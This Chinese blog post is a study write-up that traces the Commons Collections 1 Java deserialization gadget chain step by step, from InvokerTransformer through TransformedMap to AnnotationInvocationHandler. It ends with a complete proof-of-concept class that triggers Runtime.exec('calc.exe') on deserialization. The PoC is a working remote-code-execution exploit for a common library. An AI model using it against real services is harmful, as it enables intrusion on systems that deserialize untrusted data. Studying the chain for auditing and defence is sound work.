Java代码审计&原生反序列化&CC链跟踪分析

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog


在前一篇文章我分析了Commons Collections1链​​​​​​​,其中跟链的顺序是:source=>gadget=>sink,但如果站在漏洞挖掘的角度顺序是倒过来的:sink=>gadget=>source,即先找到造成命令执行的恶意类,然后通过该类倒一直倒推到可利用的反序列类。

本篇文章将按照sink=>gadget=>source的顺序,在挖洞的角度跟踪分析Commons Collections链

环境:Commons Collections 3.1 && jdk8u65

首先来到InvokerTransformer类,以下列出该类的构造函数和transform方法。

构造函数接收并设置三个参数:methodName、paramTypes、args

transform方法接收一个对象input,结合三个参数通过反射获取对象的类、方法,然后invoke调用执行(注意input不能为空)。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

试想若按照以下代码逻辑实例化一个invokerTransformer对象,然后调用transform方法不就相当于Runtime.getRuntime().exec("calc")弹出计算器吗?

Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

invokerTransformer.transform(r);

事实证明我们的猜想是正确的,如此一来便找到了sink执行点:InvokerTransformer#transform

由于InvokerTransformer类并不是可直接利用的反序列化类,所以还需要往前倒推,查找哪个类调用过transform方法。我们跟的是CC链,所以只需要关注Commons Collections 3.1包里的即可。

发现TransformedMap#checkSetValue方法调用过transform方法(正常情况下每个uasge都需要看)。

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

试想若控制valueTransformer为InvokerTransformer类对象,执行valueTransformer.transform(value)那不就相当于执行InvokerTransformer#transform方法吗?

首先观察到valueTransformer在构造方法TransformedMap中设置,但由于该构造方法是protected类型无法直接访问,所以继续找有没有其他public类型方法调用过该构造方法。

观察到decorate方法调用过该构造方法TransformedMap,由此想到可以利用decorate方法间接控制valueTransformer,即控制decorate方法的传参valueTransformer=new InvokerTransformer(),那么执行decorate方法就会触发构造方法设置valueTransformer为InvokerTransformer类对象。

此时,若执行valueTransformer.transformer() = new InvokerTransformer().transformer()。

大致流程:

当执行TransformedMap.decorate(map, null, new InvokerTransformer())
=>

会触发TransformedMap(map, null, new InvokerTransformer())
=>

会设置valueTransformer = new InvokerTransformer()
=>

若执行valueTransformer.transformer()
=>

等于执行new InvokerTransformer().transformer()

到这里我们已经控制了valueTransformer为InvokerTransformer类对象,但还没成功触发checkSetValue方法,而且checkSetValue方法是protected类型无法直接调用,所以还需继续往上查找哪个类调用过checkSetValue方法。

发现AbstractInputCheckedMapDecorator#setValue方法调用过checkSetValue方法。

public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }

同理,若想要调用TransformedMap#checkSetValue方法,需控制parent为TransformedMap类对象。

此时若执行AbstractInputCheckedMapDecorator#setValue方法,就会触发执行parent.checkSetValue(value),等于执行new TransformedMap().checkSetValue(value),然后触发valueTransformer.transform(value),由于之前又控制valueTransformer为InvokerTransformer类对象,最终同执行new InvokerTransformer().transform(value),故又和sink点联系了起来。 

大致流程:

控制parent = new TransformedMap()
=>

当执行AbstractInputCheckedMapDecorator.setValue(Object value)
=>

会触发parent.checkSetValue(value)
=>

等于执行new TransformedMap().checkSetValue(value)
=>

会触发valueTransformer.transform(value)
=>

等于执行new InvokerTransformer().transform(value)

一般情况下,当继续往上找到的类重写的readObject方法里调用了前一个类的方法时,就是gadget结束。

比如这里继续查找哪个类调用过AbstractInputCheckedMapDecorator#setValue方法,发现AnnotationInvocationHandler#readObject方法里调用过。同理,此时应该控制var5=new AbstractInputCheckedMapDecorator(),才能调用AbstractInputCheckedMapDecorator#setValue方法,于是gadget结束同时也找到了source。

总结:无非就是让前面调用方法的类发生更改,控制其等于后面的类,让其调用后面类的方法 。

最后附上Poc代码:

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Poc {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类(整个Runtime执行)
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformer
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, outerMap);


        //漏洞测试
        serializableObject(o);
        unserializableObject("ser.bin");
    }


    public static void serializableObject(Object o) throws Exception {
        FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
        fileOutputStream.close();
    }

    public static void unserializableObject(String filename) throws Exception{
        FileInputStream fileInputStream = new FileInputStream(filename);
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        objectInputStream.close();
        fileInputStream.close();
    }
}

学到这部分说实话还是比较吃力的,很多东西没有嚼透, 原因还是我的开发基础有点拉跨,打算等后面再重新好好学一下这部分。如果文章有错请多多指正,谢谢各位师傅支持!

  • 45
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 10
    评论
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值